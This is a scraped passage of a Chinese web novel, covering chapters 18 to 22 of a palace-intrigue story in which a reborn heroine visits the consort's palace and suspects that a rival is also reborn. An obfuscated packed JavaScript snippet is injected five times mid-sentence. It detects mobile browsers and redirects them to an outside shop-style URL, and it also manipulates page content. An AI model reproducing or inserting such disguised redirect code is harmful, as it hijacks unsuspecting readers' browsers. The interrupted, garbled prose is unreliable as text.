钱晚宁也很少陪伴一双儿女。 闻雪英在家中无事,闻雪洲和闻雪琼待在她身边的时间反而比闻仲年和钱晚宁要多,也难怪两小只比较黏她。 闻雪英也乐得让他们黏在自己身边。前世她家破人亡,如今与家人相处的每一刻,她都无比珍惜。 看着他们两稚嫩的圆脸上那甜甜的笑,闻雪英心情大好,两日来因为赵又岚那些话而产生的烦闷躁郁,此刻似乎也烟消云散了。 她甚至多吃了一碗饭。 闻仲年和钱晚宁见状,两人相视一笑,低头继续用饭。 突然,外头有奴仆跑进来禀报:“老爷,夫人,宫里来人了。” 闻雪英挑了挑眉,心道估计是来送赏赐的。鞠衣在宫中英勇救了孙贵妃,这可是大功劳,闻雪英料到了陛下和贵妃定然会颁下赏赐。 果然,传话的奴仆笑嘻嘻看向鞠衣,接着道:“鞠衣姐姐也快换身衣裳吧。” 鞠衣还有些懵,琥珀推了她一把,笑道:“还愣着做什么,快去换身新衣裳,一会儿得了好东西,可要分我一半。” 鞠衣难得面露慌张之色,“哎”了一声,朝着几位主子行了一礼,回屋换衣去了。 宫里总共来了六个人,一个是养居殿平日负责给京中官员传旨送赏的黄公公,他身后跟了四名抬宫中赏赐的小太监。 还有一位女官,是南风殿孙贵妃身边的宋姑姑,她身后也站了两名宫女,各捧着一个托盘。 给鞠衣的赏赐多是些绢帛,再便是一些金银玉器,和香料药材等等。 等到黄公公念完赏赐之后,闻仲年带着全家上下叩谢皇恩。 礼毕之后,适才一直在旁边静静站立的宋姑姑开口:“除了以上赏赐之外,贵妃娘娘还记着闻夫人那日临危不乱,及时替娘娘包扎伤口,贵妃特此另赏闻夫人玉如意一对,南海珍珠项链一串。” 便是宋姑姑身后那两名宫女手中托盘里放的物事。 宋姑姑示意宫女将玉如意和珍珠项链端上前,钱晚宁看一眼,只见那玉如意晶莹通透,珍珠项链亦是个个圆润饱满,色泽温润,东西虽少,却是价值不菲,且正是女子最爱之物,钱晚宁心里很高兴,落落大方地再度谢恩。 接着,宋姑姑的目光转向闻雪英,含笑道:“贵妃娘娘也记着闻家小姐那日损了一件披风,因此娘娘也特意下令,让宫中尚服局挑选上好的衣料,为闻家姑娘再做一身衣裳。” 闻雪英没想到自己也有赏赐,只是这赏赐居然是让尚服局给她做衣裳?她愣了一瞬也跪下谢恩:“臣女多谢贵妃娘娘恩赐。” 宋姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176464|137652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑接着道:“不过巧妇难为无米之炊,尚服局若要做一身合适的衣裳,若是不知晓闻姑娘的身量尺寸,只怕也是为难。” 闻雪英道:“有劳黄公公与宋姑姑走一趟,不如二位先坐下喝盏茶,臣女回屋量了尺寸再来呈于宋姑姑。” 宋姑姑道:“那倒是不必了,贵妃娘娘说,闻小姐若是有空的话,不如现在就随奴婢入宫,由尚服局的人亲自为闻姑娘量体裁衣。” 贵妃对她的赏赐,大可以像对母亲那般,赏些珍贵的物件即可,再不济也可像赏赐鞠衣那样,赏她几匹名贵布料,尽可由她自己给自己做衣。 但贵妃偏偏是让尚服局为她现做衣裳,还让她必须亲自去尚服局让她们量她的身量尺寸,心下微感疑惑,闻雪英若无其事地扫了一眼闻仲年和钱晚宁的脸色,二人眉间皆是担忧,爹和母亲果然也觉得此事有蹊跷。 然而宋姑姑话都说出来了,闻雪英没空也要挤出空来,她回房换了身得体的衣裳,便带着鞠衣随宋姑姑一同入宫。 马车在皇城西南的太平门前停下,闻雪英转而上了辇轿。 太平门距离贵妃的南风殿尚有一段距离,辇轿是贵妃特意赏赐的,以免她多行劳累。 闻雪英颇有些受宠若惊之感,遥对着南风殿方向再次谢恩后,她忐忑不安地上了辇轿。 辇轿轻轻地一摇一晃,进入东六宫地界,孙贵妃的南风殿,正位于东六宫最里侧,距离养居殿最远的位置。 闻雪英伸手挑起轿帘,看着外头一晃而过的一草一木,一宫一殿,心头微微有丝惶然之感。 前世她虽也在这后宫住过,但那时靖桓宇给她的宫殿是在西六宫地界,她平日除了有时不得不去养居殿见靖桓宇外,几乎只腻在自己宫里,因此这偌大后宫,对她来说还是有些陌生。 也不知道贵妃传她入宫,是否当真只是做衣裳。 正在闻雪英出神之际,辇轿忽然停下了。 她以为是已经到了南风殿,正准备掀帘下车,宋姑姑刻意压低的声音传了进来:“闻姑娘,前头是大皇子殿下,怕是要劳烦闻姑娘暂且下轿了。” 靖桓洲? 闻雪英怔了一怔,麻利地下轿,垂首往宫道旁一跪。 19. 第 19 章 靖桓洲听说了贵妃姨母遭遇刺杀的事,今日本是入宫探望姨母,姨母的伤没什么大碍,只是姨母的话很多,翻来覆去,旁敲侧击地打听他是否有喜欢的女子。 靖桓洲本打算陪姨母用了午膳再出宫,奈何实在招架不住她的连环“逼问”,略坐了坐便告退离开。 来姨母宫中之前,他去了趟养居殿给父皇请安,父皇告诉他,舅舅一行在亳州也遭遇了刺杀。 父皇还问他,知不知道舅舅一家人是否与人结过仇,靖桓洲仔细想了想,自己在亳州孙家宅子待了十几年,父皇称帝后他才被接到京都,据他所知,外公一家与人和善,平日乐于助人,逢年过节还会安排施粥,救济亳州城的穷苦百姓,亳州城谁不说一声孙家人都是大善人? 靖桓洲坚信,无论是外公外婆还是舅舅姨母,他们都不会做什么坏事。 父皇听完他信誓旦旦的保证后似乎也信了,只是过了一会儿,父皇突然问他:“桓洲,前阵子朝中有大臣上书,说如今朝局稳定,朕也该立太子了,你旁听朝政也有几年了,你怎么看?” 这个问题,父皇不该问他。 靖桓洲呆了一瞬,脸上扬起了温和的笑,他从容道:“儿臣以为,二弟自小在父皇身边长大,父皇的智计谋略,二弟耳濡目染,应当学到的比儿臣要多。” 这话无异于明明白白地告诉靖渊,你该立你的二儿子为太子。 靖渊问他这话时,眼底深处是存了试探的,可听完儿子的话,他眼底是浓浓的愧疚。 他以前忙着四处征战,无暇照顾一双儿女,紫一亡故后,他只能将儿女托付给岳父岳母来照顾。 他自以为这样是对孩子好,可今日听了靖桓洲的话,靖渊突然就有些不敢直视靖桓洲的目光了。 明明,靖桓宇他一直是带在身边的;还有后来绾灵十岁那年偷偷跑到军营,他也将绾灵留在军营,并抽空细心教导她武艺与兵法的,独独靖桓洲,靖渊一直将他留在亳州孙家,直到五年前大业既定,他们父子二人才相聚。 靖渊还记得五年前见到靖桓洲的时候,彼时靖桓洲与他的几个表兄弟站在一处,靖渊一时都没认出哪个是自己的儿子,直到靖桓洲慢慢上前,唤了他一声“爹”。 过去的记忆让靖渊感到羞愧,他望着自己儿子坦然自若的模样,想说什么,最终却什么都说不出来,只是摆了摆手道:“去南风殿给你姨母请个安吧。” * 从南风殿拜别姨母后,靖桓洲便心不在焉地信步往宫门口走。 他一边走一边忍不住想,父皇今日问他对于立太子一事有何看法,究竟是随口一问,还是另有深意? 只是想了半天,靖桓洲仍旧没想出个什么名堂来。 他对父皇的了解本就不如二弟来得多。 靖桓洲叹了口气,纷乱的思绪被几道问安声打断,他一抬头,就见眼前宫道两侧,跪着几个人。 姨母宫中的孙姑姑他认识,只是她旁边那年轻的姑娘,靖桓洲却不识,不过他也并不在意,只稍稍加快脚步,走至近前道:“起来吧。” 靖桓洲不打算停留,正准备越过这几人继续走路,宋姑姑突然出声:“殿下,这位是闻相的女儿,闻雪英。” “……”闻雪英不由蹙眉,斜眼看了眼宋姑姑,纳闷她为何要替她自报家门,靖桓洲压根没问她是谁。 闻雪英只好再度朝靖桓洲行礼:“臣女见过殿下。” 靖桓洲听到这个名字,的确是驻足了。 他回头道:“听说那日贵妃遇刺,是你的侍女制服了刺客,救了贵妃?” 闻雪英回道:“回殿下,是臣女的侍女鞠衣。” 说着侧首看向今日同她入宫的鞠衣,道:“鞠衣,还不快来见过大皇子。” 鞠衣上前一步,道:“奴婢……” 她刚要屈膝,靖桓洲竟伸手扶了她一把,面上露出了真挚诚恳的笑:“不必多礼,你救了贵妃,我还要感谢你呢。” 鞠衣顿感惶恐,忙道:“殿下这话折煞奴婢了,奴婢不敢当。” 靖桓洲道:“你救了贵妃是事实,不必惶恐。” 说着他便抱起拳,似要真向鞠衣道谢,鞠衣倒抽一口冷气,脸色一瞬间变白,闻雪英也愣住了,她没想到靖桓洲身为皇子,竟如此平易近人。 皇宫人多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188471|137652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼杂,若真让他对着鞠衣弯了腰…… 好在就在闻雪英头脑发懵之时,宋姑姑突然喊道:“殿下!” 靖桓洲一愣,宋姑姑唇角的笑意很是僵硬,脸色也一阵青一阵白,她压低声音道:“殿下,鞠衣姑娘救护贵妃有功,陛下和贵妃已经赏过了。” 靖桓洲心中不以为然,他认为感谢一个人,真心实意地说句道谢的话才是最重要的,但显然父皇和姨母并不这么想。 不过他也反应过来宋姑姑是在提醒他如今的身份,于是便慢慢放下手,唤来侍从孙义,吩咐道:“一会儿回府中挑几件东西,送去闻府给鞠衣姑娘。” 如今他要感谢一个人,只能通过赏赐。 鞠衣舒了一口气,再次道:“多谢殿下。” 宋姑姑这时又突兀地说:“鞠衣姑娘临危不乱,及时出手制服刺客,想必也是闻姑娘平日悉心调教的缘故。” 闻雪英:“……” 闻雪英面上波澜不惊,心中已经是一片狂风骤雨。 她怎么觉得宋姑姑有意无意地,想让靖桓洲注意到她呢?莫非贵妃今日叫她入宫,明着是量体裁衣,暗着是想让靖桓洲见她? 闻雪英只觉得一个头两个大,完全不明白现下是个什么情况。 也不知靖桓洲是否察觉出宋姑姑的异常,他将视线转向闻雪英,闻雪英忙将头垂下,道:“鞠衣的功夫也是她自己练的,臣女手无缚鸡之力,实在谈不上调教,宋姑姑这话,是折煞臣女了。” 开玩笑,她的目标可是靖渊,她一点都不想让靖桓洲注意到自己。 靖桓洲唇边漾着浅笑,又对孙义说了一句:“那就多挑几件闻姑娘。” 闻雪英:“……多谢殿下赏赐,只是臣女实在不敢领受。” 靖桓洲道:“无妨,你收着吧。” 话落靖桓洲不再多言,越过几人走了。 闻雪英咬着牙根,只觉尴尬不已,真恨不得钻进地缝里去。 偏宋姑姑若无其事,扬起笑脸道:“闻姑娘,咱们走吧。” 伸手不打笑脸人,闻雪英心里再呕她,也只好强压下满腔愤怒,含笑上了辇轿。 20. 第 20 章 辇轿又摇晃了一阵,终于停下,宋姑姑上前,弯腰掀起轿帘,伸出手臂道:“闻姑娘,南风殿到了。” 闻雪英微微吐出一口气,含笑说一句:“多谢孙姑姑。”接着搭着她的手臂下了轿。 宋姑姑领着她入内,直接去了贵妃日常起居的东暖阁。 厚重的门帘一起,暖阁里暖热又带着几分淡淡梅花香味的气息扑面而来,窜入鼻尖,仿佛叫人烦躁的心也渐渐沉静下来。 耳边传来女子细声交谈的声音,宋姑姑隔着门槛道:“启禀娘娘,闻家姑娘来了。” 交谈的声音停下,贵妃朝着门口看了过来,招手道:“快进来。” 闻雪英垂眸入内,行礼跪拜。 贵妃道:“快起来吧,赐座。” 闻雪英道过谢后起身,坐在宫女端来的凳子上,这时才发现贵妃右手侧还坐着一女子,瞧着与贵妃年纪相仿,容貌却比贵妃略胜几分。 那女子梳着高高的发髻,虽未簪多少发饰,仍旧遮掩不住她的娇美容颜。 这张脸对于闻雪英来说很熟悉,不过那是前世的闻雪英,此刻的闻雪英只装作不认识她,表情露出微微的疑惑。 贵妃瞧见便解释道:“这是白太妃。” 白太妃,前朝德明帝的妃子,洪庆帝仍允许她们住在宫里,并给与她们太妃太嫔的待遇。 闻雪英之所以熟悉她,是因为这位白太妃前世爬过靖桓宇的龙床,靖桓宇宠幸了她,可没几日,白太妃就在自己的宫中暴毙而亡了。 死因为何,闻雪英当时并未留意,只是想来还是忍不住叫人感慨一句:白太妃下场实在凄惨。 闻雪英边想着,边朝着白太妃屈了屈膝。 白太妃将她从上到下打量几眼,笑意吟吟对贵妃道:“妹妹说的没错,闻家姑娘,姿容气度果然不俗。” 贵妃点了点头,道:“那日刺客七窍流血而亡,在场大多数人都慌得不成样,闻姑娘年纪轻轻,却是沉稳镇定的很。” 闻雪英心中一阵汗颜,谦卑道:“娘娘谬赞了,其实臣女那日也害怕得很。” 只是她比别人多活了一世,所经历的事情也更多罢了。 贵妃显然更相信自己所看到的,那种恐怖的场面,她们这些从未见过鲜血的女人害怕是再正常不过了,只是能将害怕强压在心底,面上依旧能稳当地行事,脸面色都不曾变一下,这才是难能可贵的。 她接着道:“听说你生母在宁州,你自小便在宁州与京都两地奔波?” 闻雪英应“是”,落落大方地道:“回娘娘的话,为人子女,总要尽孝父母膝下,只是臣女的父母不在一处,臣女也只好往来两地了。” 贵妃一脸恍然大悟的模样,点点头道:“原来如此,想来也是见过了世面,遇事才能不慌不忙。” 贵妃说着转向白太妃,唏嘘道:“咱们女子若是不被困于这小小后宅,能有机会多出去走走,看一看这世界,也是好的。” 白太妃微微一笑,捧起茶盏放置唇下,宽袖滑落,露出她双腕上价值连城的赤金嵌宝石双龙纹手镯。她饮了一口,叹息道:“妹妹说的有理,只是咱们都是身不由己的,一入这宫门,余生都要被这高深宫墙给困住的。” 她语气很是哀伤,可神情间却看不出半点惆怅之意。 闻雪英觉得贵妃与白太妃似乎话里有话,她不动声色地打量两人。 贵妃似乎还想对白太妃说什么,张了张嘴却是没说,末了还是转回看向闻雪英,换了个话题道:“织造局年前送来了不少名贵布料,一会儿你仔细挑一挑,有喜欢的就让尚服局给你做几身衣裳。” 闻雪英忙道:“多谢贵妃娘娘赏赐,只是那日臣女其实也没做什么,实在担不起娘娘的厚爱。” 贵妃今日梳了灵蛇髻,髻顶斜斜垂下的缠枝簪花步摇微微晃动着,印着她年轻娇好的容颜,她笑着道:“几件衣服罢了,宫里最不缺的便是这些了。陛下后宫如今只我一人,尚服局的那些人这两年也闲的很,正好给她们找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201964|137652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点事做。” 也不知是不是一刹那的错觉,贵妃说这句话的时候,她身旁白太妃脸上的笑似乎有一瞬间的僵硬,然而再定睛一看,白太妃仍旧噙着温柔浅淡的笑容,静静在一旁坐着。 闻雪英再度谢恩。 贵妃看向宋姑姑,吩咐道:“叫她们现在来南风殿,好为闻姑娘量量尺寸。” 宋姑姑应声去了。 白太妃略坐了坐,便起身告辞了。 她虽有个太妃名号,但宫里人人都知这些个太妃太嫔与当今陛下没有半分关系,是以贵妃也只是坐着,含笑吩咐宫人送白太妃出去。 白太妃出了南风殿,并没有立即返回太妃所居住的寿康宫。 南风殿旁边有座二层的小矮楼,白太妃搭着侍女的手臂缓缓拾阶而上。 站在小矮楼的二楼处,整座皇城一览无余。她走至一处停下,面向着东南方向,目光虚虚地凝望着。 一旁的侍女见她久久不语,顺着她的视线看过去,不过是一座又一座相似的宫殿,只尽头,陛下所居的养居殿高高耸立,像是一头昂首挺胸的狮子,其他宫宇在它面前屈膝臣服。 侍女感到冷意侵入骨髓,忍不住道:“太妃娘娘,您在看什么?” 白太妃收回目光,笑了笑道:“咱们有许久没去过养居殿了吧?” 侍女不解她这话何意,顿了顿,先是四下里看了下,接着压低声音道:“娘娘,养居殿如今是洪庆帝的居所。” 洪庆帝是周朝新帝,而白太妃,是李朝皇帝的嫔妃。 虽同处于皇城中,可身份已是云泥之别。 白太妃唇角浮现一抹讽刺的笑,叹了口气怅然道:“他是周朝新帝,而我却是李朝皇帝的嫔妃,如今被奉为太妃。” 明明,她今年也才三十二岁,比洪庆帝还要小上几岁,就这么被冠上太妃名号,往后余生便要老死这后宫了。 可,她不甘心。 白太妃收敛笑意,眼底渐渐浮上一抹厉色。 21. 第 21 章 南风殿内,闻雪英与孙贵妃闲聊了几句,尚服局的人终于来了。 闻雪英顿感如释重负。 要说这一世,她与孙贵妃今日也不过是第二次见面,但孙贵妃却表现的与她好像是多久的闺中密友,言语间尽显亲密。 贵妃有意无意地,打听她对大皇子的看法。 若是此前宋姑姑的行为举止让她怀疑贵妃有意让大皇子注意到她,那么此刻贵妃几次三番的试探,便证实了她的怀疑。 闻雪英笑得脸都快僵了,她百思不得其解,自己怎么就入了贵妃法眼。 难不成就因为她那日临危不乱,解下披风盖了刺客的尸体? 闻雪英疑惑不解地站起身,撑开双臂让尚服局的人给她量尺寸。 这时,外头有宫女进来禀报,“贵妃娘娘,赵小姐来了。” 闻雪英微微挑眉,赵小姐?赵又岚吗? 她也朝着门口望过去,果然是赵又岚。 闻雪英:“?” 赵又岚看见闻雪英也在,眸底同样闪过一丝疑惑。 不过她很快便收回目光,对着贵妃行礼道:“臣女参见贵妃娘娘,贵妃娘娘恕罪,臣女在宫门口碰见了大皇子殿下,这才误了拜见贵妃娘娘的时辰。” 贵妃和蔼道:“无妨无妨,快起来吧,正好尚服局的人刚到,一并给你量了尺寸吧。” 原来是给她和赵又岚都赐了衣裳,霎时间,闻雪英就没那么焦虑了。 看来贵妃在看上她的同时,也看上了赵又岚。 赵又岚也战在她旁边让尚服局的宫人量尺寸。 那日的赵又岚神采奕奕,意气风发,但今日的赵又岚却不知为何有些心不在焉,宫人让她抬起双臂,唤了她三次她才有所反应。 须臾,尚服局的人拿了量好的尺寸退下。 贵妃含笑夸赞了一句她们身量苗条,接着便道:“好了,我安排人带你们去尚服局的库房瞧瞧,自己去挑喜欢的布料吧。” 闻雪英和赵又岚皆应是,闻雪英正打算跟着宫女出去,赵又岚突然道:“娘娘,您那日受了伤,不知伤势如何了?” 贵妃道:“伤口已经结痂了,太医说,只要我按时换药,不出十日便能完全愈合了。” 赵又岚抿了抿唇,似乎是在犹豫,可几息后她再度开口:“臣女那日回家后听父亲说,国舅一行在亳州也遇到了刺杀?” 听到孙国舅的事,贵妃的神情有一瞬间的冷硬,很快又恢复如常,她淡淡道:“喔,没事,亳州的刺客恰好被二皇子撞见,没有得手。” 闻雪英觉得贵妃说起自己兄长遇刺一事,似乎过于冷静了,转念一想,周国公夫妇死去好像也不过一个月,贵妃的表现,实在不像是一个刚死了双亲的人。 赵又岚好像并没有察觉到贵妃的异常,她蹙着眉,继续问道:“不知,刺杀娘娘的人,与刺杀孙国舅的人,幕后主使是否是同一个人?” 贵妃愣了一愣,昨日陛下又来了趟南风殿,告诉她兄长一行在亳州遇刺的事。陛下的确是怀疑宫里的刺客与亳州的刺客,甚至于当初放火烧孙宅的凶徒皆是同一人指使。 但如今什么线索都没有查到,陛下纵有这样的怀疑,也只是私下里同她提了一嘴,并嘱咐她不能与外人说起。 想到此处,她狐疑地看了一眼赵又岚,道:“这事,自有陛下去查,等查出了真相,大白于天下时,赵姑娘会知道的。” 赵又岚察觉出了贵妃明显变得冷硬的声线,低头应是,随即与赵又岚一起往尚服局库房而去。 她二人一走,贵妃召来宋姑姑与唐姑姑,问道:“如何?” 宋姑姑道:“奴婢仔细观察了,闻姑娘的容貌气度,并未引起大皇子的青睐。” 贵妃又看向唐姑姑,唐姑姑是去接赵又岚入宫。她回道:“赵姑娘这边,大皇子倒是与她多说了几句话,大皇子与赵姑娘说话时走到了一边,奴婢没听见他们说的什么,不过据奴婢观察,大皇子与赵姑娘,似乎之前就见过面。” 贵妃若有所思道:“如此看来,桓洲或许更喜欢赵家姑娘。” 宋姑姑道:“也不一定,或许他们只是因为之前认识,才多说了几句。” 唐姑姑略微一沉吟,道:“但是娘娘,赵姑娘的父亲如今掌着京中禁军,他又是跟随陛下一起出生入死过的人,陛下对他也很是器重,您不觉得,大皇子娶了赵家姑娘,才是最好的选择吗?” 话是这么说,可站在贵妃这个将靖桓洲当做自己儿子的姨母的角度,她觉得闻家姑娘更亲和,更沉稳冷静一些,而赵家小姐,今日她问的那几句话,无端地让贵妃对其生了一分不喜。 可话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221632|137652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又说回来,一切还得看桓洲的意思。 贵妃想到此处,突然就感到了为人父母的艰难。 * 尚服局的库房里,闻雪英在那些陈列着布匹衣料的架子前慢慢走动。 贵妃都将她们送到这了,无论如何今日也得选上几匹布料,不能拂了贵妃的面子。 她转了几圈,选好了布料,却见赵又岚还站在她刚进来时站的那个位置。 她面前是一列空置的架子。 闻雪英驻足片刻,走上前轻轻拍了拍她的肩膀道:“赵姑娘,这库房里有些冷,咱们尽快选了出去吧。” 旁边几个侍立的小宫女都冻得脸色发青了。 赵又岚仿佛刚回过神来,她并未刻意地挑选,只随手指了几处,道:“我喜欢这几个。” 宫女立即记下。 一行人出了库房。 两人又回了趟南风殿,再次谢过贵妃恩典,由贵妃宫里的人送她们出宫。 到了宫门外,贵妃宫里的人走远,闻雪英朝着赵又岚点点头,正准备转身上自家的马车,赵又岚又唤住了她。 闻雪英疑惑地看着她,赵又岚抿了抿唇,张了张嘴又闭上,似乎在犹豫要不要与她说话。 半晌后,闻雪英听到她问:“闻姑娘,二皇子奉命去亳州查孙家老宅失火一案已有些日子,你可知二皇子查到了什么?” 闻雪英露出笑靥,讶异道:“赵姑娘说笑了,二皇子远在亳州查案,他有没有查到什么,我又怎么会知道。” 赵又岚道:“难道他不曾写信给你?” 一瞬间,闻雪英脑中再度闪过一个念头,这念头让她遍体生寒。 她强撑着笑意,若无其事地反问道:“赵姑娘为什么会认为,二皇子会给我写信?又为什么会认为,他会将查到的线索告诉?” 赵又岚面色微微一变,很快转开视线,她笑一笑道:“只是听说你与二皇子颇为相熟,故有此一问,闻姑娘别介意。” 她的神情几乎没有任何的变化,可闻雪英看到了她喉咙处的滚动,看到了她袖口下紧紧攥起而略微发白的手指,还有她略有颤抖的声音。 赵又岚浑身都透着“心虚”二字,就在这一刻,闻雪英确定了心中的那个念头。 赵又岚,与她一样。 重生了。 22. 第 22 章 她跟靖桓宇之间的事,并未传得人尽皆知,说起来,两人这半年来的见面,几乎都在京中的承安寺。 半年前她在驿站遭遇山匪,回到家中后将此事说给闻仲年和钱晚宁听,钱晚宁当即觉得后怕,翌日硬是拉着她去承安寺为她祈福。 在那里她又见到了靖桓宇,他当时是微服出行,两人并未说话,只隔着拥挤的人群遥遥对望一眼。 回去过了几日,闻雪英鬼使神差般地,自己又去了一趟承安寺,再次见到了靖桓宇。 这回两人说了几句话,靖桓宇关心她那夜有没有吓到。 此后,几乎每隔几日,闻雪英就会心血来潮赶往承安寺,次次都会遇见靖桓宇,她以为两人颇为有缘,一来二去的渐渐相熟,救命之恩渐渐变成倾慕爱恋。 这些过往,就连闻仲年和钱晚宁也不知道,也是前段日子自己突然要闻仲年进宫求赐婚时,闻雪英才将她与靖桓宇之间的事和盘托出。 那日赏梅宴,赵又岚说她与靖桓宇相识,她当时并未多想,可今日再听她说这话,仿佛她知道自己与靖桓宇之间的关系。 思来想去,只有一种可能,赵又岚也重生了。 闻雪英不知道赵又岚重生的时间点,想再试她一句,赵又岚却又坦然地与她告别,径自离开了。 回家的路上,闻雪英暗暗琢磨着赵又岚的话,她似乎很关心孙家近日所遭遇的刺杀,还提及了孙家老宅失火一事,她为什么会关心这个? 赵又岚,想做什么? 她前世最终是当上了皇后的,靖桓宇生母早逝,赵又岚成为皇后后,是名副其实的一人之下,万人之上,是当之无愧的赢家,想来她若是拥有前世的记忆,这一回赵又岚的选择定然还是靖桓宇。 那便意味着,她和赵又岚,这一世依旧是敌对关系。 闻雪英心事重重地回到家,刚一进门,琥珀就迎上来道:“小姐,老爷在书房等你,让你回来后就去找他。” 闻仲年找她,一定是有要事,闻雪英来不及换衣裳,匆匆前往闻仲年的书房。 书房内,闻仲年眉头紧锁,一脸沉重。 闻雪英进了书房,下意识走到炭盆边上,“爹,您找女儿有事?” 闻仲年:“把门关上。” 闻雪英心头不由一紧,“爹,出什么事了。” 闻仲年目光盯着炭盆里的灰烬,语气沉重道:“咱们派去亳州的人,今日传回了消息,消息提到,刺杀孙国舅一行的刺客,十有八九是受二皇子指使。” “什么?”因为太过震惊,闻雪英的声音陡然提高了几分,她微微张着唇,怀疑地看着闻仲年。 闻仲年继续道:“咱们的人一直隐在暗处,那日刺客突然出现,但他发现刺客根本没有下死手,只是杀了几个孙国舅身边的奴仆护卫,很快二皇子的人就来了,不待二皇子的人出手,刺客就丟甲弃刃,逃之夭夭了。” “当时二皇子却未下令追击刺客,咱们的人发觉不对,便悄悄跟在了那伙刺客身后。” “结果你猜怎么着?” 闻雪英找了地方坐下,心脏突突地跳。 闻仲年继续道:“刺客一路逃到了亳州城外的一处破庙里,有人在那里等着他们。” 闻雪英小声道:“是靖桓宇?” “差不离了,是二皇子身边的护卫常立。” 常立先是给了那伙刺客满满一袋子银子,等刺客们心满意足地捧着银块走出破庙时,常立突然拔剑,将他们全杀了。 典型的杀人灭口,毁灭证据。 闻雪英听完久久不能回神,她想不明白,靖桓宇为什么要刺杀孙国舅? 根据闻仲年的说法,靖桓宇安排刺客,好像也不是真想要了孙国舅的命,似乎只是想让人知道有刺客要刺杀孙国舅。 她思维再一跳脱,莫非那日宫里的刺客,也是受靖桓宇指使?鞠衣曾说过,宫里的刺客根本不懂武功,贵妃会受伤也是个意外。 闻雪英给自己倒了杯水一饮而尽,心中暗暗沉思,孙家老宅失火一案,会不会也是靖桓宇所为? “不太可能。”闻仲年听了她的猜测,默了片刻反驳道:“一个人要做一件事,得讲究一个目的动机,二皇子杀孙家的人干什么?” 孙家虽贵为国丈国舅之家,地位表面看起来尊贵无比,可孙家是商贾出身,做官的本事有没有闻仲年不清楚,但陛下应当是认为他们没有做官的本事,因为陛下并未给孙家的人什么实差。 他们手上根本没有任何权力,顶的都是虚衔,这是满朝皆知的事情,二皇子不可能看不出。 杀掉孙家的人,对他没有任何帮助,反而要冒着有朝一日被陛下发现而获罪的风险,可谓是得不偿失。 闻雪英不得不承认闻仲年说的有道理,孙家的人,说白了对靖桓宇登基构不成任何威胁。 可如此一来,靖桓宇如此行事的原因到底是什么? 闻仲年捋了捋胡须,顿了片刻道:“这件事要是被陛下知道了,陛下一定会对二皇子大加申饬的。” 闻雪英摇了摇头,道:“先静观其变吧,看看靖桓宇到底想做什么。” 如今他们无凭无据的,不好贸然向陛下提及此事。 这个话题揭过,闻雪英又道:“对了爹,您在朝中行走,与诚国公赵越打过交道吗?” “诚国公是个武将,又是新臣,爹与他平日里也就只有点头之交罢了。” 闻雪英道:“诚国公是坚定不移的二皇子党吧。” 闻仲年道:“那是自然,跟随陛下共创天下的那批文臣武将,多多少少与仁献皇后有些渊源。” 这其中的渊源,闻雪英也略有耳闻。 据传仁献皇后常鹰在归入洪庆帝麾下之前,曾是闽州当地赫赫有名的水匪头子,洪庆帝为了收服她,遂派出熟悉水战的赵越。 赵越与仁献皇后几次三番交战,始终不能将其打败,赵越并不气馁,反而越挫越勇,但,他终究还是敌不过长年在水上生存的。 就这么打了一年多,有一日派手下水匪送来一封信,信上提了两个条件,第一,有人能打得过她;第二,洪庆帝答应她一件事,只要完成了这两个条件,她便会带领手下水匪心甘情愿地归顺。 她所说的打斗,指的是与她单打独斗,至于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221633|137652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 